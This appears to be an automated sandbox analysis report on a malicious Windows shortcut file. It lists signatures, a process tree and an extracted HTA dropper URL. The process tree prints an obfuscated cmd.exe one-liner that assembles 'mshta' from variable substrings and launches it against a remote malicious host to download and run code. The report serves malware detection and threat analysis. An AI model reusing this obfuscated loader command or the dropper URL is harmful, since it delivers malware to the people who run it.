Analysis

  • max time kernel
    148s
  • max time network
    127s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 08:23

General

  • Target
    DOC-AFOJ65.lnk
  • Size 2KB
  • Sample260804-j9752azzc1
  • SHA256 f3088c6226554e58d07f4122fd3820b8cff2438f47ed73282991f8d5bfb2523d
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-AFOJ65.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2060
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /d /v:on /c "set Yhjyf=7tembg&&set KYa=ssh3&&set NiD=p9vta1vf&set fBZ=lognqppyemggcvxfujmlog&set IEb=cfghvuhrrebemtcacfg&set JD=netexnfwrlxivynet&set iBNi=infoxvvcsttinf&set nlwd=cfgehlhsrznnkfapiabjhemtcfg&set NJ=osvq&&set dwJY=m7tf&&set NwB=buarth&set ATJ=winrdulhwin&set bBH=dbgepqeqvmdbg&set Cc=netraumcbzxsmtpshnet&set fFU=cfgwdzveznhqvmzkjbqjmmttdcfg&set HCJT=oldpitbeokjxjold&set hp=netjgjuwxdxcralfxtsnet&set evy=bakaclbccpkrnomojmbak&&set Sxg=ht@tps:@//@ma@-@pdffi@ll@e@[email protected]@t/h/@est@agi@[email protected]@p?r=3@9@146@9FB5D82D@B&&start /b !Yhjyf:~3,1!!KYa:~1,2!!NiD:~3,2! !Sxg:@=!&&set NC=done"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4272
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:6136

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads